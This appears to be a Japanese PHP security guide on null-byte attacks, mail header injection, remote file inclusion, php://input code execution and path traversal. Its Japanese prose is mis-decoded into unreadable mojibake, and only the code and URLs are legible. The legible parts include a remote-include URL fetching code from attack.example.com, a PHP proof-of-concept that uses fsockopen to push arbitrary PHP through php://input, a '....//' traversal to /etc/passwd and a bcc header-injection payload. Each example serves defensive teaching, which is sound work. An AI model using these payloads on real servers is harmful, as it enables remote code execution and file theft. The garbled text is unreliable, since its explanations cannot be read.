�ܤ����ϼ������ڥ��������������ޤ�����NULL �Х��Ȥ�����ϱƶ��������ؿ���¿�����͡�������������������ǽ��������ޤ��������å���Ԥ�ʤ���������ȡ��ʲ��ξ������ƤϤޤä���硢�տޤ��Ƥ��ʤ��ä�ư��Ȥʤ��ǽ�����⤯�ʤ�ޤ���
�Х��ʥꥻ���դδؿ������ϥ����å���Ԥ����Х��ʥꥻ���դǤʤ��ؿ�����Ѥ���������Ԥä����
�Х��ʥꥻ���դǤʤ��ؿ������ϥ����å���Ԥ����Х��ʥꥻ���դδؿ�����Ѥ���������Ԥä����
�Х��ʥꥻ���դǤʤ��ؿ�����Ȥ��ơ������Υե�����̾�� NULL �Х��Ȥ��ޤޤ�Ƥ���� NULL �Х��ȤޤǤ���ʬ��ե�����̾�Ȥ���ǧ������ؿ������湽¤�ˤϡ��ʲ��Τ�Τ�����ޤ�(�����餯�������ʳ��ˤ⤢��Ȼפ��ޤ�)��
fopen()
readfile()
file()
, file_get_contents()
include()
, include_once()
require()
, require_once()
basename()
�ʲ��� POSIX �ߴ�������ɽ���ؿ��� NULL �Х��Ȥ��ޤޤ�Ƥ���ʸ����������������Ǥ��ޤ���Τǡ�����Ĥ���ɬ�פ�����ޤ���
ereg(), eregi()
ereg_replace(), eregi_replace()
split(), spliti()
�ޤ�������ǥХ��ʥꥻ���դ��ѹ����줿�ؿ������湽¤�⤢��ޤ����ܤ����ϡ�PHP 4 ChangeLog �� binary safe �Ȥ���������ɤǸ������Ƥߤ�ȡ�¾�ˤ⤤���Ĥ����Ĥ���ޤ��������δؿ��ϡ�PHP �ΥС������ˤ�ä� NULL �Х��Ȥΰ����ˤ���ɬ�פ����뤫�⤷��ޤ���
strip_tags()
PHP 4.3.2 ����Х��ʥꥻ���դ��ѹ�����Ƥ��ޤ���
fgetcsv()
PHP 4.3.5 ����Х��ʥꥻ���դ��ѹ�����Ƥ��ޤ���
file()
PHP 4.3.0 ���顢���ꤵ�줿�ե���������Ƥ� NULL �Х��Ȥ��ޤޤ�Ƥ��Ƥ⡢��������̤��֤��褦�ˤʤ�ޤ�����
foreach
, each()
PHP 4.3.3 ���顢�ϥå���Υ����� NULL �Х��Ȥ��ޤޤ�Ƥ������Ǥ������������Ǥ���褦���ѹ�����Ƥ��ޤ���PHP 4.3.2 �����Ǥϡ��ϥå���Υ����� NULL �Х��Ȥ��ޤޤ�Ƥ�����硢��ư��θ����Ȥʤ��ǽ��������ޤ����ޤ����ϥå�����ͤ˰����˴ؤ��ƤϤ�������Ϥ���ޤ���
�Х��ʥꥻ���դδؿ������ϥ����å���Ԥ����Х��ʥꥻ���դǤʤ��ؿ�����Ѥ���������Ԥä���������
PHP-users ���ꥹ�Ȥ˰ʲ����㤬��Ƥ���Ƥ��ޤ���([PHP-users 12736] null byte attack)
<?php // �ե�����̾: null_byte.php // ������: http://example.com/null_byte.php?filename=null_byte.php%00myext // �嵭�ι�����Ǥϰտޤ��Ƥ��ʤ�������ץȥ�������ɽ������� echo '<pre>'; // ���Ѥγ�ĥ�ҤΥե�����Τ߳����ʤĤ��� if (preg_match('/myext$/', $_GET['filename'])) { // ereg�ϥХ��ʥꥻ���դǤϤʤ��Τǡ�\0��ʸ����ν��� // �Ȥߤʤ��ޤ���ereg��ȤäƤ������null byte attack�� // �Բ� readfile($_GET['filename']); } else { echo "bad file\n"; } ?>
���Υ�����ץȤΰտޤȤ��Ƥϡ����ꤵ�줿�ե�����̾�� myext �Ȥ�����ĥ�Ҥ��ä���硢���ꤵ�줿�ե������ɽ������Ȥ�����ΤǤ�����Ǥ�դΥե������ɽ�������뤳�Ȥ���ǽ�ˤʤäƤ��ޤ���������Ǥϡ���ʬ����(null_byte.php)��ɽ�����Ƥ��ޤ��ޤ���
����ϡ�preg_match()
�ϥХ��ʥꥻ���դǤ��뤿�ᡢ�ʲ�����ʬ�� TRUE ���֤��ΤǤ�����
if ( preg_match( '/myext$/', "null_byte.php\0myext" ) ) { ... }
readfile()
�ϰ����Υե�����̾�� NULL �Х��Ȥ��ʤ����ᡢNULL �Х��Ȱ����ޤǤ�ͭ����ʸ����Ȥ��Ƥߤʤ��ޤ���
readfile( "null_byte.php\0myext" ); // "\0" �� NULL ����
��ɡ��ʲ���̿���¹Ԥ���Τ�Ʊ����̤ˤʤäƤ��ޤ��ޤ���
readfile( "null_byte.php" );
����������褹����ˡ�Ȥ��ơ�preg_match()
������ˡ�ereg()
����Ѥ�����ˡ�����Ƥ��ޤ����ʲ��Τ褦�� ereg()
����Ѥ�����硢if ʸ�η�̤� FALSE �ˤʤ�ޤ��Τǡ�����ϵ�����ޤ���
if ( ereg( 'myext$', "null_byte.php\0myext" ) ) { ... }
�ޤ��ϡ�preg_match()
�Ǿ�ά�����ˡ�ʸ�������Ƭ����������ʸ����Τߤǹ�������Ƥ��뤫���ǧ����Ȥ�����ˡ�⤢��ޤ���NULL �Х��Ȥ��ޤޤ�Ƥ��ʤ����Ȥ��ݾڤ��뤿�ᡢ���Ĥ���ʸ������ꤹ��ɬ�פ�����ޤ�(�����Ǥϡ�\w(0-9, a-z, A-Z, -��ޤ�) ����Ѥ��Ƥ��ޤ���Ǥ�դ�ʸ���Ǥ��� "." ����Ѥ���Ȱ�̣���ʤ��ʤ�ޤ�)����Ȥ��ơ�preg_match()
����Ѥ��Ƥ��Ƥ⡢�ʲ��Τ褦�ˤ���� if ʸ�� FALSE ���֤��ޤ���
if ( preg_match( '/^\w+\.myext$/D', "null_byte.php\0myext" ) ) { ... }
�Х��ʥꥻ���դǤʤ��ؿ������ϥ����å���Ԥ����Х��ʥꥻ���դδؿ�����Ѥ���������Ԥä����
�㤨�С��ʲ��Τ褦���㤬�ͤ����ޤ����̾�� POST ����Ѥ��ƥե��������������Ȼפ��ޤ�����ʬ����䤹�����뤿��� GET ����Ѥ��Ƥ��ޤ���
<?php $file = '/tmp/test.txt'; if ( ! empty( $_GET ) ) { $name = ereg_replace( "\t|\n", " ", $_GET['name'] ); if ( ereg( "^[0-9]{3}-[0-9]{4}$", $_GET['zip'] ) ) { $fp = fopen( $file, is_file( $file ) ? "a" : "w" ); fwrite( $fp, $name . "\t" . $_GET['zip'] . "\n" ); fclose( $fp ); } else { echo '�����ʥǡ��������Ϥ���ޤ�����'; } } ?> <form method="get" action="<?php echo htmlspecialchars( $_SERVER["SCRIPT_NAME"] ) ?>"> ̾�� : <input type="textbox" name="name" /> ���ֹ� : <input type="textbox" name="zip" /> <input type="submit" value="����"> </form> <pre> <?php $data = is_file( $file ) ? file( $file ) : exit( '�ǡ���������ޤ���' ); foreach ( $data as $line ) { list( $name, $zip ) = explode( "\t", $line ); echo htmlspecialchars( $name . ":" . $zip ); } ?> </pre>
���Υ�����ץȤϡ�̾�������ֹ�ֶ��ڤ�ǥ����å����̲ᤷ���ǡ�����ե�������ɲä��Ƥ��������Τ�ΤǤ���
�����å��ؿ��Ȥ��ơ�ereg_replace()
�� ereg()
����Ѥ��Ƥ��ޤ����������δؿ��ϥХ��ʥꥻ���դǤϤʤ����ᡢ�ʲ��Τ褦�� URI �����Ϥ��줿��硢2��ʬ�Υǡ��������Ϥ���ǽ�ˤʤꡢ2���ܰʹߤϥǡ����Υ����å����Ԥ��ʤ����Ȥˤʤ�ޤ�("%00" �� NULL �Х��ȡ�"%0A" �ϲ��ԥ����ɡ�"%09" �ϥ��֤Ǥ�)��
http://example.com/input.php?name=test1&zip=000-0000%00%0Atest2%09zipcode
ereg()
�ؿ��ǥ����å���Ԥ���ʬ�ϰʲ��ν�����Ԥ����Ȥˤʤ�ޤ���ereg()
�Ǥϡ�NULL �Х��ȤޤǤ���ǧ�����ʤ����ᡢ���� if ʸ�� TRUE
�ˤʤꡢ�ե�����ؤ��ɵ����Ԥ��ޤ���
if ( ereg( "^[0-9]{3}-[0-9]{4}$", "000-0000\x00\x0Atest2\x09zipcode" ) ) {
�ǡ����ե�����ϰʲ��Τ褦�ˤʤ�ޤ���"\t" �ϥ��֡�"\0" �� NULL �Х��ȤǤ���NULL �Х������äƤ��ޤ��������ιԤ˥ǡ������ɲäǤ��Ƥ��ޤäƤ��뤳�Ȥ�ʬ����ޤ���
test1\t000-0000\0 test2\tzipcode
���ξ�硢�Х��ʥꥻ���դǤʤ� ereg �Ϥδؿ��Ǥ� NULL �Х��Ȥ��ʤ����ᡢ�Х��ʥꥻ���դǤ��롢preg �Ϥδؿ�����Ѥ��ơ���������ɬ�פ�����ޤ���
������ʬ(4,5����)��ʲ��Τ褦�� preg �Ϥδؿ�����Ѥ���褦�˽�������С���������ϲ���Ǥ��ޤ���
$name = preg_replace( "/\t|\n/", " ", $_GET['name'] ); if ( preg_match( "/^[0-9]{3}-[0-9]{4}$/D", $_GET['zip'] ) ) {
NULL �Х��Ȥ����������ʣ���Ǥ��뤿�ᡢ���̤��н褹��ˤϡ����Ƥδؿ��ˤĤ��ƥХ��ʥꥻ���դǤ��뤫�ɤ�����Ĵ�٤�ɬ�פ����ꡢ���˼�֤��ݤ���ޤ����⤷��������������Ϥ�ʸ����ǡ��ƥ����ȥǡ����Ǥ��뤳�Ȥ�ʬ���äƤ���ΤǤ���С�NULL �Х��Ȥ����Ƽ��������ȤǴ�ñ���н�Ǥ��ޤ���
$_POST
, $_GET
, $_COOKIE
�ˤĤ��Ƥϡ�����Ū�ˤ�ʸ����Υƥ����ȥǡ��������äƤ��ޤ��Τǡ��ʲ��δؿ������ѤǤ��ޤ���������ץȤκǽ��Ŭ�Ѥ���С�������Ŭ�Ѥ����ѿ��� NULL �Х��Ȥ�����ˤ���ɬ�פ��ʤ��ʤ�ޤ������������Х��ʥ�ǡ������ޤޤ���ѿ��˻��Ѥ�����硢�ǡ������˲�������ǽ��������ޤ��Τǡ����դ��Ƥ���������
�ޤ������ܸ�Ǥ褯���Ѥ����ʸ�������ɥ��åȤǤ��롢EUC-JP��Shift_JIS��ISO-2022-JP��UTF-8 �Ǥϡ�NULL �Х��Ȥ�ʸ����˴ޤޤ�뤳�Ȥ�̵���Ϥ��Ǥ���������ʳ���ʸ�������ɥ��åȤǤ� NULL �Х��Ȥ��ޤޤ���ǽ��������ޤ��Τǡ����ξ��� NULL �Х��Ȥ��ޤޤ�ʤ����Ȥ��ǧ���Ƥ�����Ѥ��Ƥ����������⤦��Ĥ����դȤ��ơ����δؿ���Ŭ�Ѥ������줾���������ѿ���ʸ����ˤʤäƤ��ޤ��ޤ��Τǡ����ˤ���ɬ�פ�������Ϸ��˱�����Ŭ���˽�������ɬ�פ�����ޤ���
function delete_nullbyte( $arr ) { if ( is_array( $arr ) ) { return array_map( 'delete_nullbyte', $arr ); } return str_replace( "\0", "", $arr ); } $_GET = delete_nullbyte( $_GET ); $_POST = delete_nullbyte( $_POST ); $_COOKIE = delete_nullbyte( $_COOKIE );
�Ŀ�Ū�ˤϡ����ϥ����å�������ɽ������Ѥ�����ϡ�ereg �Ϥ� POSIX �ߴ�������ɽ���ؿ��ϻ��Ѥ����ˡ�preg �ǻϤޤ� Perl �ߴ�������ɽ���ؿ�����mb_ereg �ǻϤޤ�ޥ���Х�������ɽ���ؿ�����Ѥ������������Ǥ���Ȼפ��ޤ��������������1���ܤ���ˤ⤢��褦�ˡ�NULL �Х��Ȥ��ޤޤ�Ƥ����ǽ�����θ����ȡ�ʸ����κǽ���ʬ�����Ǥʤ�����Ƭ����ʸ�������Τ�����å�����ɬ�פ�����ޤ���
�ޤ�������ɽ���ˤ��ʸ����Υ����å������ǤϤʤ����ɤ߹���ե�������������ϥǡ���������ꤹ��ΤǤ���С�is_file()
�䡢basename()
�ʤɤ��Ȥ߹�碌�ơ��μ¤˰տޤ��Ƥ���ǥ��쥯�ȥ꤫��ե�������ɤ߹���褦�ˤ��Ƥ����Ȱ����Ǥ���
����¾��NULL �Х��Ȥ˴�Ϣ���� PHP �Υ������ƥ�����Ȥ�����𤵤�Ƥ����Τ������Ĥ�����ޤ���
PHP strip_tags() bypass vulnerability
PHP 4.3.7 ������ PHP 5.0.0RC3 ������ strip_tags()
����2�����˵��Ĥ��륿������ꤷ�Ƥ����硢��1�������ѿ��� NULL �Х��Ȥ��ޤޤ�Ƥ���ȡ������ν�������Ƥ��ޤ��Ȥ�������Ǥ���
�ޤ���strip_tags()
�ϡ�PHP 4.3.2 ����Х��ʥꥻ���դ��ѹ�����Ƥ��ޤ��Τǡ�PHP 4.3.1 ������strip_tags()
�� NULL �Х��Ȥ��ޤޤ줿ʸ��������������硢�������ʬ���������Ƥ��ޤ��ޤ����Ť��С������� PHP �� strip_tags()
����Ѥ�����ˤ����դ��Ƥ���������
������2�Ĥ�����ϴؿ�����Ѥ������� NULL �Х��Ȥ����Ƥ����С��ƶ�������ޤ���
[PHP] include() bypassing filter with php://input (2004.05.30 �����)
include()
�� php://input
������Ȥ���Ϳ���뤳�Ȥǡ�Ǥ�դΥ�����ץȤ��¹Ԥ��������Ǥ�����������ǾҲ𤵤�Ƥ��빶��� NULL �Х��Ȥ���Ѥ���ȡ����⤬���������ǽ�����⤯�ʤ�ޤ���
Bug in w-agora (Bugtraq)
[PHP-users 12736] null byte attack (PHP-users ���ꥹ��)
mail()
�� mb_send_mail()
�ؿ��Ǥϡ���4�������ɲäΥإå�����ꤹ�뤳�Ȥ��Ǥ��ޤ����������˳����������Ϥ��줿�ǡ������ɲä����硢��������������ѿ��Υ����å���ԤäƤ��ʤ���Ǥ�դΥ��إå�������ʸ���ɲäǤ��Ƥ��ޤ��Ȥ������꤬����ޤ���
�ʲ��Τ褦�� mail()
�ؿ�����Ѥ��Ƥ�����硢$_POST['from']
��������ʸ�������Ϥ��줿��硢Ǥ�դΥ��إå�������ʸ�����Ϥ��뤳�Ȥ���ǽ�Ǥ���
$from = $_POST['from']; $header = 'From: ' . $from . "\n"; mail( $to, $subject, $message, $header );
�㤨�С�$_POST
�˰ʲ��Τ褦��ʸ�������Ϥ���Ƥ�����硢bcc:
�˻��ꤷ�����ɥ쥹�ˤ�������������뤳�Ȥ���ǽ�Ǥ���
[email protected]\nbcc:[email protected]\n
�㤨�С��ʲ��Τ褦������ɽ���ʤɤˤ�ä����Ϥ����������ɤ�����Ƚ�ꤹ�뤳�Ȥ��н��ǽ�Ǥ���ɬ�פ˱������н��ԤäƤ���������
$from = $_POST['from']; if ( ! preg_match( '/^[-.\w]+@([-\w]+\.)\w+$/D', $from ) ) { // ������ʸ�������äƤ������ν��� exit; } $header = 'From: ' . $from . "\n"; mail( $to, $subject, $message, $header );
PHP 5.1.0 �� PHP 4.4.2RC1 ������ΥС������� mb_send_mail()
�ؿ�������Ȥ��ơ�mail()
�ؿ��ǤϹԤ��Ƥ��� To: (��1����) �β��ԥ����ɤκ���� mb_send_mail()
�ǤϹԤ��Ƥʤ��Ȥ������꤬��Ŧ����Ƥ��ޤ������Τ��ᡢTo: �˲��ԥ����ɤ��ޤޤ������ʤ��褦�ˤ���ɬ�פ�����ޤ���
To: �ˤϥ�륢�ɥ쥹��������ʤ��褦�˳�ǧ����ʤɤ��н��ԤäƤ���С����ԥ����ɤ�����ޤ���Τǡ��ä˵��ˤ���褦������ǤϤ���ޤ���
Email header injection in PHP (The Musings of Harry)
Email Injection (SecurePHP)
PHP �� include()
, include_once()
, require()
, require_once()
�ϡ������ե�������ɤ߹��ߡ�ɾ���������湽¤�Ǥ������������Ϥ������� http://...
�� ftp://...
�ʤɤ� URI ���Ϥ����Ȥ��ǽ�Ǥ�����������ե����뤬 PHP ������ץȤ��ä���硢���Υ�����ץȤ�¹Ԥ��Ƥ��ޤ��ޤ��Τǡ�include()
�� require()
���Ϥ������ˤ����դ�ɬ�פǤ���
PHP �Ǥϡ�include_path �����ꤷ��GET �ѿ��� POST �ѿ��ʤɤΰ����ˤ���ɤ߹���ե�������ڤ��ؤ���Ȥ�����ˡ���褯�Ȥ��Ƥ���Ȼפ��ޤ������桼����������ϥ����å����������Ԥ�ʤ��ȡ���������Ǥ�դΥ�����ץȤ��¹Ԥ���Ƥ��ޤ���ǽ��������ޤ���
�ޤ���allow_url_fopen
�� Off
�����ꤹ�뤳�Ȥ� include()
, require()
, fopen
�ʤɤˤ�볰�������Фؤ���³��ػߤ��뤳�Ȥ��ǽ�Ǥ�����allow_url_fopen
�� Off
�ˤ��Ƥ��Ƥ⡢Ǥ�դΥ�����ץȤ�¹Ԥ�������ˡ�⤢��ޤ�(php://input ����Ѥ�����ˡ)�Τǡ���ʬ�����ϥ����å���Ԥ���include()
�� require()
�����ꤷ�Ƥ��ʤ�ʸ�����Ϥ�褦�ʤ��Ȥ��ʤ��褦�ˤ��Ƥ���������
�ʲ��Τ褦�ˡ������Υ����Ф˼¹Ԥ����� PHP ������ץȤ�������ޤ����㤨�С�http://attack.example.com/exec.txt �ˡ��ʲ������Ƥ���Ƥ����Ȥ��ޤ���
<?php phpinfo() ?>
�ޤ��������оݤΥ�����(http://www.example.com/index.php)�ǰʲ��Τ褦�ʥ�����ץȤ����֤���Ƥ����Ȥ��ޤ���
<?php include( $_GET['file'] ); ?>
�֥饦������ʲ��Τ褦�ʥꥯ�����Ȥ�Ԥ��ȡ������оݤΥ����Ф� http://attack.example.com/exec.txt �ǽ�Ƥ��륳���ɤ��¹Ԥ���ޤ���
http://www.example.com/index.php?file=http://attack.example.com/exec.txt
�ޤ���include()
�� require()
�Ǥϡ�NULL �Х��Ȥαƶ�������ޤ��Τǡ��ʲ��Τ褦�ˡ����ꤵ�줿��ĥ�ҤΥե�������ɤ߹��ळ�Ȥ����ꤷ�Ƥ������Ǥ⡢
<?php include( $_GET['file'] . '.inc.php'); ?>
���Τ褦�� NULL �Х��Ȥλ����ޤ���ꥯ�����Ȥ������ȡ������Υ����ɤ�¹Ԥ��뤳�Ȥ���ǽ�ˤʤäƤ��ޤ��ޤ���
http://www.example.com/index.php?file=http://attack.example.com/exec.txt%00
�ʾ������ϡ�allow_url_fopen
�� Off
�ˤʤäƤ�����硢���������Фˤ��� PHP ������ץȤ�¹Ԥ��뤳�ȤϤǤ��ޤ���/etc/passwd �ʤɡ���������ե�����ˤ�����פʥե�������ɤ߹����ɽ�����Ƥ��ޤ���ǽ��������ޤ���include()
�� require()
���Ϥ������Ͻ�ʬ�����ϥ����å���ԤäƤ���������
�ޤ���include()
�� require()
����� php://input
���Ϥ����ȡ�POST �����Ƥ� PHP ������ץȤȤ��Ƽ¹Ԥ��Ƥ��ޤ�����⤢��ޤ�������ϡ�[PHP] include() bypassing filter with php://input (2004.05.30 �β�����)�ǤޤȤ�Ƥ��ޤ��������ξ�硢�����˥����Ф��Ѱդ��ʤ��Ƥ�Ǥ�դΥ�����ץȤ�¹Ԥ��뤳�Ȥ���ǽ�Ǥ���ɬ����php://input
�� include()
�� require()
�ΰ����Ȥ����Ϥ�ʤ��褦�˥����å���ԤäƤ���������
php://input
�ˤ�äơ�POST �����Ƥ� PHP ������ץȤȤ��Ƽ¹Ԥ���Ƥ��ޤ��Ȥ�����ǽ�� 2006.01.04 �����κǿ��ǤǤ��롢PHP 4.4.1 �� PHP 5.1.1 �Ǥ��ѹ�����Ƥ��ޤ���
���ڥ����ɤϰʲ��Τ褦�ˤʤ�ޤ���send �ܥ�����ȡ�exec �Υƥ����ȥܥå��������Ϥ���Ƥ������Ƥ��оݤΥ����ФǼ¹Ԥ���ޤ���
<?php if ( isset( $_GET['include'] ) ) { include( $_GET['include'] . '.php' ); exit; } ?> <form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post"> <div>target server : <input type="text" name="server" value="127.0.0.1" /></div> <div>file : <input type="text" name="file" value="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>?include=" /></div> <div>exec : <input type="text" name="cmd" value="<?php echo htmlspecialchars( '<?php phpinfo() ?>' ) ?>" /></div> <input type="submit" value="send" /> </form> <?php if ( ! empty( $_POST ) ) { $file = ! empty( $_POST['file'] ) ? $_POST['file'] : ''; $server = ! empty( $_POST['server'] ) ? $_POST['server'] : ''; $cmd = ! empty( $_POST['cmd'] ) ? $_POST['cmd'] : ''; $message = "POST " . $file . "php://input%00 HTTP/1.1\r\n"; $message .= "Host: " . $server . "\r\n"; $message .= "Content-length: " . strlen( $cmd ) . "\r\n"; $message .= "Connection: close\r\n\r\n"; $message .= $cmd . "\r\n"; $fp = fsockopen( $server, 80 ); fputs( $fp, $message ); while ( ! feof( $fp ) ) { echo fgets( $fp ); } fclose( $fp ); } ?>
�ʲ��Τ褦�����ϥ����å���Ԥ������곰�����Ϥ�����դ��ʤ��褦�ˤ��Ƥ����������ʲ������Ƥ��Ȥ߹�碌�����ꤷ���������ƤˤʤäƤ��뤫�ɤ������ǧ����Ȥ����������⤯�ʤ�Ȼפ��ޤ���
NULL �Х��Ȥ���
�ޤ����Х��ʥ�ǡ���������դ��ʤ��ΤǤ���С���ư��θ����Ȥʤ��ǽ���Τ��롢NULL �Х��ȤϺ�����Ƥ���������$input
�Ȥ����ѿ����� NULL �Х��Ȥ���������ϡ��ʲ��Τ褦�ˤ��ޤ���
$input = str_replace( "\0", "", $input );
�⤷���������Τ��Ф��� NULL �Х��Ȥ��ӽ����������ϡ�Null Byte Attack ���н���ˡ�ǾҲ𤷤��ؿ��ͤˤ��Ƥ���������
����ɽ���ˤ��ʸ��������å�
�Ǥ���С�preg_match()
�ʤɤ� Perl �ߴ�������ɽ������Ѥ����������Τ�ʸ������Ф��������������å���ԤäƤ�������������ʸ����Ⱦ�ѱѿ����Τ߾��ϡ��ʲ��Τ褦�ˤ��ޤ���
if ( ! preg_match( '/^[0-9a-zA-Z]+$/D', $input ) ) { // ������ʸ�������äƤ������ν��� ... exit; } // ����������ʸ�������äƤ������ν��� ...
basename()
����Ѥ���
������������Ϥ˥ǥ��쥯�ȥ꤬�ޤޤ�ʤ��ΤǤ���С�basename()
����Ѥ��ơ��ե�����̾�Τߤ���Ф���ˡ�����ѤǤ��ޤ�������ˤ�ꡢ�ѥ����ȥ�С����������Τ褦�ˡ��̤Υǥ��쥯�ȥ�Υե�������ɤ߹��ޤ�Ƥ��ޤ���������Ǥ��ޤ���
���ޤ굤�ˤ���ɬ�פϤʤ����⤷��ޤ������δؿ��ϥХ��ʥꥻ���դǤϤ���ޤ���Τǡ�NULL �Х��Ȥ�����ˤĤ��ƤϹ�θ����ɬ�פ����뤫�⤷��ޤ���
$input = str_replace( "\0", "", $input ); $file = basename( $input );
���ꤵ�줿�ǥ��쥯�ȥ�Υե������桼������λ���ˤ�ä��ɤ߹���ΤǤ���С�is_file()
�� is_readable()
�ˤ�äơ��ե������¸�߳�ǧ��Ԥ��С�http://...
�� php://
�ʤɤ����Ϥ�������Ȥ�̵���ʤ�ޤ���
$dir = '/home/test/lib/'; $ext = '.inc'; $file = $dir . $input . $ext; if ( ! is_file( $file ) ) { // ������ʸ�������äƤ������ν��� ... exit; } // �ե�������ɤ߹��� include( $file );
¾�ˤ⤤���������н���ˡ���ͤ����ޤ���ɬ�פȹͤ������ǧ��ԤäƤ����ѿ�����Ѥ��Ƥ���������
��̥ǥ��쥯�ȥ�����Ϥ���빶��(�ѥ����ȥ�С����빶��)����뤿����к��Ȥ��ơ��ʲ��Τ褦���к����褦�ʥڡ������������Ȥ�����ΤǤ������ʲ�����ˡ�Ǥ��к��ˤʤ�ޤ���
$file = str_replace( '../', '', $_GET['file'] );
�㤨�С��ʲ��Τ褦�ˤ��ƻ�Ƥߤ��ʬ����ޤ���������н���ˡ�Ǥϡ�̵��̣�Ǥ��뤳�Ȥ�ʬ����ޤ���
$_GET['file'] = '....//....//....//etc/passwd'; echo str_replace( '../', '', $_GET['file'] );
��η�̤ϰʲ��Τ褦�ˤʤ�ޤ���
../../../etc/passwd
���ξ��ϡ�����ɽ����ʸ��������������ǧ����ʤɤ����н褹�롢".." ���ޤޤ�Ƥ������ϥ��顼�Ȥ��롢basename()
����Ѥ���ʤɤ��к����ͤ����ޤ����ǥ��쥯�ȥ��ޤޤʤ��ե�����̾�������������ΤǤ���С�basename()
����Ѥ���Τ��Ǥ��ñ���Ȼפ��ޤ���
php.ini ������� allow_url_fopen
�� Off
�ˤ��ơ�PHP ���鳰���ؤΥ���������ػߤ���� include()
�� require()
�dz����Υ�����ץȤ��ɤ߹��ळ�ȤϤǤ��ʤ��Τǰ����ȹͤ��Ƥ���ͤ����뤫�⤷��ޤ������������Ԥ��а����Ȥ�����ΤǤϤ���ޤ���PHP 5.2.0 �����ξ�硢allow_url_fopen
�� On/Off
�˷���餺����ʬ�����ϥ����å���ԤäƤ���������PHP 5.2.1 �ʹߤξ��ϡ�allow_url_include
�������̵���ˤ��Ƥ����Ф��ΤۤȤ�ɤξ�硢����ˤϤʤ�ʤ��Ȼפ��ޤ���
�ʲ������꤬����ޤ���
PHP �ˤϡ�include()
�� php://input
������ȡ�POST ���Ϥ��줿ʸ����� PHP ������ץȤȤ��Ƽ¹ԤǤ��Ƥ��ޤ��Ȥ������꤬����ޤ�([PHP] include() bypassing filter with php://input (2004.05.30 �β�����))�������������ϡ�allow_url_fopen
�� Off
�ˤʤäƤ��Ƽ¹Ԥ���ޤ���
allow_url_fopen
�� Off
�ˤ��Ƥ��Ƥ⡢fsockopen()
�ؿ��䥽���åȴؿ�(socket_*()
)���ޤ��ϥץ������¹Դؿ�(exec()
, system()
, ...)�ʤɤˤ�볰�������ФؤΥ��������ϲ�ǽ�Ǥ������������Ѥ���С�allow_url_fopen
�� Off
�ˤʤäƤ��륵���Ф��Ф��ƴ���������κ������ǽ�Ǥ���
allow_url_fopen
�� PHP 4.3.4 �����Ǥ� PHP_INI_ALL
(�ɤ��Ǥ������ǽ�ʥ���ȥ�)�Ǥ��ꡢ�����ե⡼�ɤ� Off
�ξ��ϡ�PHP ������ץ�����ѹ���ǽ�Ǥ���
allow_url_fopen
�� PHP 4.3.5 ���� PHP_INI_SYSTEM
(php.ini �ޤ��� httpd.conf �������ǽ�ʥ���ȥ�) ���ѹ����졢PHP ������ץ���Ǥ������ѹ����Ǥ��ʤ��褦�ˤʤäƤ��ޤ�(PHP 4.3.5 �� ChangeLog)��
PHP 5.2.0 ���� php.ini ������� allow_url_include
���ɲä���ޤ������ǥե���ȤǤ�̵�������ꤵ��Ƥ��ޤ���
�������꤬ͭ���ˤʤäƤ�����Τߡ�include()
��include_once()
��require()
��require_once()
�� URL �б��� fopen ��åѡ������ѤǤ���褦�ˤʤ�ޤ���
PHP 5.2.0 �Ǥϡ�allow_url_include
��̵���ˤ��Ƥ� data: ����� php: ���ȥ���åѡ��ϻ��Ѳ�ǽ�Ǥ��ꡢinclude()
��php://input
�� data:text/plain;charset=,<?php phpinfo() ?>
�Τ褦��ʸ����������ळ�Ȥǡ���⡼�Ȥ��� PHP ������ץȤ�¹Ԥ����뤳�Ȥ���ǽ�Ǥ�����
PHP 5.2.1 ����ϡ�allow_url_include = Off
�ˤ��Ƥ����� data:
����� php:
�Υ��ȥ���åѡ���̵���ˤʤ�ޤ����̾include()
�ʤɤdz������� PHP �ե�����ʤɤ��ɤ߹���Ǽ¹Ԥ���Ȥ������ȤϤʤ��Ȼפ��ޤ��Τǡ�ɬ��̵�������ꤷ�Ƥ����٤�������Ȼפ��ޤ���
PHP �Ǥϡ��ʲ��Τ褦��ʸ������ɤȤ���ɾ�����롢�ޤ��ϡ�������Хå��ؿ���ưŪ�˺�������Ŭ�Ѥ���ؿ���¸�ߤ��ޤ����������ȡ��ʲ��Τ褦�ʴؿ�������ޤ���
ʸ����� PHP �Υ����ɤȤ���ɾ������ؿ�
eval()
preg_replace()
(e �����Ҥ���Ѥ������)
mb_ereg_replace()
(��4������ 'e' ����ꤷ�����)
������Хå��ؿ���Ŭ�Ѥ���ؿ�
usort()
, uksort()
call_user_func()
, call_user_func_array()
array_map()
, array_walk()
, array_filter()
�ؿ���ưŪ���������ؿ�
create_function()
�����δؿ��������Ǥ�����PHP �Υ����������䡢������Хå��ؿ�̾�˳�����������Ϥ���Ѥ��Ƥ����硢�����ѿ��������̤�ˤʤäƤ��뤳�Ȥ��ǧ���Ƥ����ѿ�����Ѥ��Ƥ���������Ƚ��ʸ�ˤϡ�switch
������ɽ���ʤɤ����Ѥ�����ɤ��Ȼפ��ޤ���
�äˡ�eval()
�ؿ��ʤɤϲ�ǽ�Ǥ���С����Ѥ��ʤ��褦�ˤ������������Ǥ���eval()
�ؿ��ˤ�� PHP �����ɤ��¹Ԥ���Ƥ��ޤ��Ȥ�������Τ��ä����ץꥱ��������饤�֥���¿���������ɤ�������Ǥ��뤫�ɤ�����Ƚ�Ǥ���Τ��������ȹͤ����ޤ���
Advisory 14/2005: PEAR XML_RPC Remote PHP Code Injection Vulnerability (Hardened-PHP Project)
Advisory 15/2005: PHPXMLRPC Remote PHP Code Injection Vulnerability (Hardened-PHP Project)
Advisory 17/2005: phpBB Multiple Vulnerabilities (Hardened-PHP Project)
Web �ڡ����֤��ѿ����ݻ�������ˡ�Ȥ��ơ��ե������ hidden �ե�����ɤ� Cookie�����å�����ѿ��ʤɤ����Ѳ�ǽ�Ǥ��������פʥǡ����μ����Ϥ���Ԥ���硢���å�����ѿ�����Ѥ��ޤ���
���å�����ѿ��ϡ��桼�������������줿���������¦����¸��������ˡ�Cookie �䡢GET �ѿ���POST �ѿ��˥��å���� ID �ȸƤФ�롢����Ū�˿�¬���ˤ���ʸ����饤����Ȥ˻������뤳�Ȥǥ��å�����ݻ����ޤ�������ˤ�ꡢ���פʥǡ�����¾�Υ桼���˻��Ȥ��줿�ꡢ�����줿�ꤹ���ǽ�����㤯���뤳�Ȥ��Ǥ��ޤ���
